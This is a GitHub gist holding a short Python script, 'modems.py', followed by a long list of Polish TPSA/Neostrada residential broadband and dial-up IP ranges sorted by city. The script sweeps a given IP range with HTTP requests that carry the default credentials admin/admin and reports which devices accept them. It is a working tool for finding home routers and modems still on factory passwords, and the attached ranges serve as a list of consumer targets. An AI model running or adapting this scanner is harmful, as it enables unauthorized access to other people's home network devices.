Created
February 14, 2012 21:55
-
-
Save starenka/1830841 to your computer and use it in GitHub Desktop.
modems.py 83.6.171.0 83.6.172.0 2>/dev/nul
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| # | |
| # pip install requests gevent ipaddr | |
| import sys, datetime | |
| from requests import async | |
| from ipaddr import summarize_address_range,IPv4Address | |
| AUTH = ('admin', 'admin') | |
| TIMEOUT = 5 | |
| def resp(response): | |
| if response.error: | |
| print '%s [!] %s %s' % (datetime.datetime.now(), response.url, response.error) | |
| else: | |
| print '%s [%s] %s HTTP%i for %s:%s' % ( | |
| datetime.datetime.now(), '-' if response.status_code != 200 else '+', response.url, response.status_code, | |
| response.request.auth.username, response.request.auth.password) | |
| return response | |
| if len(sys.argv) < 2: | |
| sys.exit('usage %s 83.24.0.0 83.24.127.255 2>/dev/null'%__file__) | |
| subs = summarize_address_range(IPv4Address(sys.argv[1]),IPv4Address(sys.argv[2])) | |
| ips = ['http://%s'%ip for sub in subs for ip in sub] | |
| hooks = dict(response=resp) | |
| requests = [async.get(one, auth=AUTH, timeout=TIMEOUT, hooks=hooks) for one in ips] | |
| print 'timeout: %isecs, auth: %s\n' % (TIMEOUT, AUTH) | |
| async.map(requests, size=255) |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
83.20.0.0 – 83.20.255.255 – TPSA Neostrada (DIP, BB) – Poznań
83.21.0.0 – 83.21.255.255 – TPSA Neostrada (DIP, BB) – Szczecin
83.22.0.0 – 83.22.255.255 – TPSA Neostrada (DIP, BB) – Katowice
83.23.0.0 – 83.23.127.255 – TPSA Neostrada (DIP, BB) – Poznań
83.23.128.0 – 83.23.255.255 – TPSA Neostrada (DIP, BB) – Kraków
83.24.0.0 – 83.24.127.255 – TPSA Neostrada (DIP, BB) – Warszawa
83.25.0.0 – 83.25.127.255 – TPSA Neostrada (DIP, BB) – Szczecin
83.25.128.0 – 83.25.255.255 – TPSA Neostrada Plus (DIP, BB) – Gdańsk
83.26.0.0 – 83.26.127.255 – TPSA Neostrada Plus (DIP, BB) – Olsztyn
83.26.128.0 – 83.26.255.255 – TPSA Neostrada Plus (DIP, BB) – Bydgoszcz
83.27.0.0 – 83.27.127.255 – TPSA Neostrada Plus (DIP, BB) – Wrocław
83.27.128.0 – 83.27.255.255 – TPSA Neostrada Plus (DIP, BB) – Poznań
83.28.0.0 – 83.28.127.255 – TPSA Neostrada Plus (DIP, BB) – Rzeszów
83.28.128.0 – 83.28.255.255 – TPSA Neostrada Plus (DIP, BB) – Lublin
83.29.0.0 – 83.29.127.255 – TPSA Neostrada Plus (DIP, BB) – Kraków
83.29.128.0 – 83.29.255.255 – TPSA Neostrada Plus (DIP, BB) – Łódź
83.30.0.0 – 83.30.255.255 – TPSA Neostrada Plus (DIP, BB) – Katowice
83.31.0.0 – 83.31.255.255 – TPSA Neostrada Plus (DIP, BB) – Warszawa
213.25.179.192 – 213.25.179.207 – Jozef Biryło (SIP, ST) – Olsztyn
213.25.220.1 – 213.25.255.255 – TPSA sieć SDI (niektóre patrz niżej):
213.25.220.0 – 213.25.220.127 – TPSA SDI (SIP, BB) – Gliwice
213.25.227.16 – 213.25.227.31 – TPSA SDI (SIP, BB) – Kowiesy
213.25.228.252 – 213.25.228.255 – TPSA SDI (SIP, BB) – Nowy Dwór
213.25.235.0 – 213.25.235.127 – TPSA SDI (SIP, BB) – Żary
213.76.0.0 – 213.77.255.255 – TPSA Polish Telekom ISP (patrz niżej):
213.76.0.0 – 213.76.127.255 – TPSA sieć dial-up 0202122 (niektóre patrz niżej):
213.76.0.0 – 213.76.0.255 – TPSA, Polpak stacje Border Gateway Protocol (SIP, ST) – Polska
213.76.1.0 – 213.76.3.255 – TPSA TPNet (DIP, DU) – Częstochowa
213.76.4.0 – 213.76.7.255 – TPSA TPNet (DIP, DU) – Opole
213.76.8.0 – 213.76.15.255 – TPSA TPNet (DIP, DU) – Katowice
213.76.16.0 – 213.76.20.255 – TPSA TPNet (DIP, DU) – Bielsko Biała
213.76.21.0 – 213.76.23.255 – TPSA TPNet (DIP, DU) – Katowice
213.76.24.0 – 213.76.31.255 – TPSA TPNet (DIP, DU) – Gdańsk 1, 2
213.76.32.0 – 213.76.33.255 – TPSA TPNet (DIP, DU) – Gdynia
213.76.34.0 – 213.76.35.255 – TPSA TPNet (DIP, DU) – Gdańsk 3
213.76.36.0 – 213.76.43.255 – TPSA TPNet (DIP, DU) – Kraków
213.76.44.0 – 213.76.47.255 – TPSA TPNet (DIP, DU) – Olsztyn
213.76.48.0 – 213.76.53.255 – TPSA TPNet (DIP, DU) – Bydgoszcz
213.76.54.0 – 213.76.55.255 – TPSA TPNet (DIP, DU) – Toruń
213.76.56.0 – 213.76.59.255 – TPSA TPNet (DIP, DU) – Szczecin
213.76.60.0 – 213.76.63.255 – TPSA TPNet (DIP, DU) – Łódź
213.76.64.0 – 213.76.70.255 – TPSA TPNet (DIP, DU) – Lublin
213.76.71.0 – 213.76.71.255 – TPSA TPNet (DIP, DU) – Radom
213.76.72.0 – 213.76.79.255 – TPSA TPNet (DIP, DU) – Poznań
213.76.80.0 – 213.76.81.255 – TPSA TPNet (DIP, DU) – Kalisz
213.76.82.0 – 213.76.83.255 – TPSA TPNet (DIP, DU) – Zielona Góra
213.76.84.0 – 213.76.84.255 – TPSA TPNet (DIP, DU) – Jelenia Góra
213.76.85.0 – 213.76.85.255 – TPSA TPNet (DIP, DU) – Legnica
213.76.86.0 – 213.76.87.255 – TPSA TPNet (DIP, DU) – Wałbrzych
213.76.88.0 – 213.76.93.255 – TPSA TPNet (DIP, DU) – Wrocław
213.76.94.0 – 213.76.95.255 – TPSA TPNet (DIP, DU) – Włocławek
213.76.96.0 – 213.76.111.255 – TPSA TPNet (DIP, DU) – Warszawa
213.76.112.0 – 213.76.113.255 – TPSA TPNet (DIP, DU) – Gorzów Wielkopolski
213.76.114.0 – 213.76.115.255 – TPSA TPNet (DIP, DU) – Konin
213.76.116.0 – 213.76.117.255 – TPSA TPNet (DIP, DU) – Leszno
213.76.118.0 – 213.76.119.255 – TPSA TPNet (DIP, DU) – Piła
213.76.120.0 – 213.76.121.255 – TPSA TPNet (DIP, DU) – Suwałki
213.76.122.0 – 213.76.123.255 – TPSA TPNet (DIP, DU) – Elbląg
213.76.124.0 – 213.76.125.255 – TPSA TPNet (DIP, DU) – Koszalin
213.76.126.0 – 213.76.127.255 – TPSA TPNet (DIP, DU) – Słupsk
213.76.189.0 – 213.76.189.255 – TPSA SDI (SIP, BB) – Łódź
213.76.190.0 – 213.76.190.3 – TPSA SDI (SIP, BB) – Stalowa Wola
213.76.210.128 – 213.76.210.255 – TPSA SDI (SIP, BB) – Sopot
213.76.255.128 – 213.76.255.255 – TPSA SDI (SIP, BB) – Babice
213.77.147.1 – 213.77.151.255 – TPSA SDI (SIP, BB) – Kraków
213.77.192.0 – 213.77.250.255 – TPSA sieć dial-up 0202122 (wszystkie patrz niżej):
213.77.192.0 – 213.77.193.255 – TPSA TPNet (DIP, DU) – Biała Podlaska
213.77.194.0 – 213.77.195.255 – TPSA TPNet (DIP, DU) – Chełm
213.77.196.0 – 213.77.197.255 – TPSA TPNet (DIP, DU) – Tarnobrzeg
213.77.198.0 – 213.77.199.255 – TPSA TPNet (DIP, DU) – Zamość
213.77.200.0 – 213.77.201.255 – TPSA TPNet (DIP, DU) – Białystok
213.77.202.0 – 213.77.203.255 – TPSA TPNet (DIP, DU) – Ciechanów
213.77.204.0 – 213.77.205.255 – TPSA TPNet (DIP, DU) – Łomża
213.77.206.0 – 213.77.207.255 – TPSA TPNet (DIP, DU) – Ostrołęka
213.77.208.0 – 213.77.209.255 – TPSA TPNet (DIP, DU) – Płock
213.77.210.0 – 213.77.211.255 – TPSA TPNet (DIP, DU) – Siedlce
213.77.212.0 – 213.77.213.255 – TPSA TPNet (DIP, DU) – Skierniewice
213.77.214.0 – 213.77.215.255 – TPSA TPNet (DIP, DU) – Kielce
213.77.216.0 – 213.77.217.255 – TPSA TPNet (DIP, DU) – Krosno
213.77.218.0 – 213.77.219.255 – TPSA TPNet (DIP, DU) – Nowy Sącz
213.77.220.0 – 213.77.221.255 – TPSA TPNet (DIP, DU) – Przemyśl
213.77.222.0 – 213.77.223.255 – TPSA TPNet (DIP, DU) – Tarnów
213.77.224.0 – 213.77.225.255 – TPSA TPNet (DIP, DU) – Piotrków Trybunalski
213.77.226.0 – 213.77.227.255 – TPSA TPNet (DIP, DU) – Rzeszów
213.77.228.0 – 213.77.229.255 – TPSA TPNet (DIP, DU) – Sieradz
213.77.230.0 – 213.77.230.255 – TPSA TPNet (DIP, DU) – Łódź
213.77.231.0 – 213.77.231.255 – TPSA TPNet (DIP, DU) – Szczecin
213.77.232.0 – 213.77.235.255 – TPSA TPNet (DIP, DU) – Warszawa
213.77.236.0 – 213.77.237.255 – TPSA TPNet (DIP, DU) – Jelenia Góra
213.77.238.0 – 213.77.239.255 – TPSA TPNet (DIP, DU) – Legnica
213.77.240.0 – 213.77.241.255 – TPSA TPNet (DIP, DU) – Radom
213.77.242.0 – 213.77.243.255 – TPSA TPNet (DIP, DU) – Kielce
213.77.244.0 – 213.77.245.255 – TPSA TPNet (DIP, DU) – Toruń
213.77.246.0 – 213.77.247.255 – TPSA TPNet (DIP, DU) – Gdynia
213.77.248.0 – 213.77.248.255 – TPSA TPNet (DIP, DU) – Wałbrzych
213.77.249.0 – 213.77.249.255 – TPSA TPNet (DIP, DU) – Białystok
213.77.250.0 – 213.77.250.255 – TPSA TPNet (DIP, DU) – Łódź
213.77.251.0 – 213.77.255.255 – TPSA sieć SDI (niektóre patrz niżej):
213.77.251.0 – 213.77.251.127 – TPSA SDI (SIP, BB) – Elbląg
213.77.254.128 – 213.77.254.255 – TPSA SDI (SIP, BB) – Sandomierz
213.77.255.240 – 213.77.255.255 – TPSA SDI (SIP, BB) – Ulęże
217.96.128.0 – 217.96.128.127 – TPSA SDI (SIP, BB) – Białystok
217.96.128.128 – 217.96.128.255 – TPSA SDI (SIP, BB) – Wygoda
217.96.129.0 – 217.96.129.127 – TPSA SDI (SIP, BB) – Starosielce
217.96.129.128 – 217.96.129.255 – TPSA SDI (SIP, BB) – Bielsk Podlaski
217.96.130.0 – 217.96.130.127 – TPSA SDI (SIP, BB) – Łapy
217.96.130.128 – 217.96.130.255 – TPSA SDI (SIP, BB) – Sokółka
217.96.131.0 – 217.96.131.127 – TPSA SDI (SIP, BB) – Siemiatycze
217.96.131.128 – 217.96.131.255 – TPSA SDI (SIP, BB) – Białystok
217.96.132.0 – 217.96.132.127 – TPSA SDI (SIP, BB) – Lipowa
217.96.132.128 – 217.96.132.255 – TPSA SDI (SIP, BB) – Hajnówka
217.96.133.0 – 217.96.133.127 – TPSA SDI (SIP, BB) – Bojary
217.96.133.128 – 217.96.133.255 – TPSA SDI (SIP, BB) – Jaroszówka
217.96.134.0 – 217.96.134.127 – TPSA SDI (SIP, BB) – Mońki
217.96.134.128 – 217.96.134.255 – TPSA SDI (SIP, BB) – Grajewo
217.96.135.0 – 217.96.135.127 – TPSA SDI (SIP, BB) – Elbląg
217.96.135.128 – 217.96.135.255 – TPSA SDI (SIP, BB) – Barczewo
217.96.136.0 – 217.96.136.127 – TPSA SDI (SIP, BB) – Augustów
217.96.136.128 – 217.96.136.255 – TPSA SDI (SIP, BB) – Ełk
217.96.137.0 – 217.96.137.127 – TPSA SDI (SIP, BB) – Giżycko
217.96.137.128 – 217.96.137.191 – TPSA SDI (SIP, BB) – Olecko
217.96.137.192 – 217.96.137.255 – TPSA SDI (SIP, BB) – Gołdap
217.96.138.0 – 217.96.138.127 – TPSA SDI (SIP, BB) – Pisz
217.96.138.128 – 217.96.139.63 – TPSA SDI (SIP, BB) – Suwałki
217.96.139.64 – 217.96.139.127 – TPSA SDI (SIP, BB) – Węgorzewo
217.96.141.128 – 217.96.141.255 – TPSA SDI (SIP, BB) – Złocieniec
217.96.142.0 – 217.96.142.127 – TPSA SDI (SIP, BB) – Połczyn-Zdrój
217.96.142.128 – 217.96.142.191 – TPSA SDI (SIP, BB) – Kołobrzeg
217.96.142.192 – 217.96.142.255 – TPSA SDI (SIP, BB) – Ustronie Morskie
217.96.143.0 – 217.96.143.127 – TPSA SDI (SIP, BB) – Biała Podlaska
217.96.143.128 – 217.96.143.255 – TPSA SDI (SIP, BB) – Łuków
217.96.152.0 – 217.96.157.127 – TPSA SDI (SIP, BB) – Wrocław
217.96.195.128 – 217.96.195.255 – TPSA SDI (SIP, BB) – Zamość
217.96.251.128 – 217.96.251.255 – TPSA SDI (SIP, BB) – Tychy
217.97.1.0 – 217.97.127.255 – TPSA SDI (niektóre patrz niżej)
217.97.1.0 – 217.97.1.255 – TPSA SDI (SIP, BB) – Włocławek
217.97.2.0 – 217.97.2.255 – TPSA SDI (SIP, BB) – Kalisz
217.97.3.0 – 217.97.3.127 – TPSA SDI (SIP, BB) – Nowe Skalmierzyce
217.97.3.128 – 217.97.3.255 – TPSA SDI (SIP, BB) – Kobylin
217.97.123.0 – 217.97.124.255 – TPSA SDI (SIP, BB) – Kraków
217.97.127.128 – 217.97.127.255 – TPSA SDI (SIP, BB) – Wrocław
217.98.8.0 – 217.98.43.255 – TPSA klienci Neostrady (wszystkie patrz niżej):
217.98.8.0 – 217.98.11.255 – TPSA Neostrada (DIP, BB) – Warszawa
217.98.24.0 – 217.98.27.255 – TPSA Neostrada (DIP, BB) – Szczecin
217.98.28.0 – 217.98.31.255 – TPSA Neostrada (DIP, BB) – Łódź
217.98.32.0 – 217.98.35.255 – TPSA Neostrada (DIP, BB) – Kraków
217.98.36.0 – 217.98.39.255 – TPSA Neostrada (DIP, BB) – Gdańsk
217.98.40.0 – 217.98.43.255 – TPSA Neostrada (DIP, BB) – Olsztyn
217.98.224.0 – 217.99.115.255 – TPSA sieć dial-up 0202122 (niektóre patrz niżej):
217.98.224.0 – 217.98.230.255 – TPSA TPNet (DIP, DU) – Szczecin
217.98.236.0 – 217.98.236.255 – TPSA TPNet (DIP, DU) – Płock
217.98.238.0 – 217.98.238.255 – TPSA TPNet (DIP, DU) – Siedlce
217.98.240.0 – 217.98.241.255 – TPSA TPNet (DIP, DU) – Olsztyn
217.98.246.0 – 217.98.247.255 – TPSA TPNet (DIP, DU) – Suwałki
217.98.248.0 – 217.98.249.255 – TPSA TPNet (DIP, DU) – Rzeszów
217.98.253.0 – 217.98.253.255 – TPSA TPNet (DIP, DU) – Krosno
217.98.254.0 – 217.98.254.255 – TPSA TPNet (DIP, DU) – Przemyśl
217.98.255.0 – 217.98.255.255 – TPSA TPNet (DIP, DU) – Tarnów
217.99.0.0 – 217.99.23.255 – TPSA TPNet (DIP, DU) – Warszawa
217.99.50.0 – 217.99.50.127 – TPSA SDI (SIP, BB) – Łódź
217.99.51.0 – 217.99.51.127 – TPSA SDI (SIP, BB) – Zgierz
217.99.51.128 – 217.99.51.255 – TPSA SDI (SIP, BB) – Łódź
217.99.55.0 – 217.99.55.255 – TPSA TPNet (DIP, DU) – Ciechanów
217.99.63.0 – 217.99.63.255 – TPSA TPNet (DIP, DU) – Ostrołęka
217.99.64.0 – 217.99.67.255 – TPSA TPNet (DIP, DU) – Gliwice
217.99.68.0 – 217.99.72.255 – TPSA TPNet (DIP, DU) – Katowice
217.99.80.0 – 217.99.83.255 – TPSA TPNet (DIP, DU) – Katowice
217.99.84.0 – 217.99.84.255 – TPSA TPNet (DIP, DU) – Gliwice
217.99.88.0 – 217.99.93.255 – TPSA TPNet (DIP, DU) – Bielsko Biała
217.99.96.0 – 217.99.97.255 – TPSA TPNet (DIP, DU) – Częstochowa
217.99.102.0 – 217.99.102.255 – TPSA TPNet (DIP, DU) – Opole
217.99.106.0 – 217.99.107.255 – TPSA TPNet (DIP, DU) – Białystok
217.99.108.0 – 217.99.113.255 – TPSA TPNet (DIP, DU) – Poznań
217.99.114.0 – 217.99.114.255 – TPSA TPNet (DIP, DU) – Konin
217.99.115.0 – 217.99.115.255 – TPSA TPNet (DIP, DU) – Poznań
217.99.120.0 – 217.99.123.255 – TPSA SDI (niektóre patrz niżej)
217.99.120.0 – 217.99.120.3 – TPSA SDI (SIP, BB) – Brzeg
217.99.120.48 – 217.99.120.63 – TPSA SDI (SIP, BB) – Częstochowa
217.99.123.128 – 217.99.123.255 – TPSA SDI (SIP, BB) – Kraków
217.99.124.0 – 217.99.252.255 – TPSA sieć dial-up 0202122 (wszystkie patrz niżej):
217.99.124.0 – 217.99.126.255 – TPSA TPNet (DIP, DU) – Poznań
217.99.128.0 – 217.99.129.255 – TPSA TPNet (DIP, DU) – Kalisz
217.99.132.0 – 217.99.135.255 – TPSA TPNet (DIP, DU) – Zielona Góra
217.99.136.0 – 217.99.137.255 – TPSA TPNet (DIP, DU) – Gorzów Wielkopolski
217.99.142.0 – 217.99.142.255 – TPSA TPNet (DIP, DU) – Piła
217.99.146.0 – 217.99.147.255 – TPSA TPNet (DIP, DU) – Leszno
217.99.148.0 – 217.99.149.255 – TPSA TPNet (DIP, DU) – Toruń
217.99.152.0 – 217.99.152.255 – TPSA TPNet (DIP, DU) – Bydgoszcz
217.99.158.0 – 217.99.158.255 – TPSA TPNet (DIP, DU) – Włocławek
217.99.160.0 – 217.99.165.255 – TPSA TPNet (DIP, DU) – Łódź
217.99.181.0 – 217.99.181.255 – TPSA TPNet (DIP, DU) – Piotrków Trybunalski
217.99.184.0 – 217.99.184.255 – TPSA TPNet (DIP, DU) – Sieradz
217.99.188.0 – 217.99.189.255 – TPSA TPNet (DIP, DU) – Koszalin
217.99.190.0 – 217.99.190.255 – TPSA TPNet (DIP, DU) – Słupsk
217.99.192.0 – 217.99.195.255 – TPSA TPNet (DIP, DU) – Gdańsk
217.99.200.0 – 217.99.205.255 – TPSA TPNet (DIP, DU) – Gdynia
217.99.206.0 – 217.99.206.255 – TPSA TPNet (DIP, DU) – Elbląg
217.99.208.0 – 217.99.217.255 – TPSA TPNet (DIP, DU) – Kraków
217.99.219.0 – 217.99.219.255 – TPSA TPNet (DIP, DU) – Nowy Sącz
217.99.220.0 – 217.99.222.255 – TPSA TPNet (DIP, DU) – Kielce
217.99.224.0 – 217.99.227.255 – TPSA TPNet (DIP, DU) – Wrocław
217.99.232.0 – 217.99.236.255 – TPSA TPNet (DIP, DU) – Wałbrzych
217.99.238.0 – 217.99.238.255 – TPSA TPNet (DIP, DU) – Jelenia Góra
217.99.245.0 – 217.99.245.255 – TPSA TPNet (DIP, DU) – Biała Podlaska
217.99.246.0 – 217.99.246.255 – TPSA TPNet (DIP, DU) – Chełm
217.99.247.0 – 217.99.247.255 – TPSA TPNet (DIP, DU) – Zamość
217.99.248.0 – 217.99.249.255 – TPSA TPNet (DIP, DU) – Tarnobrzeg
217.99.252.0 – 217.99.252.255 – TPSA TPNet (DIP, DU) – Skierniewice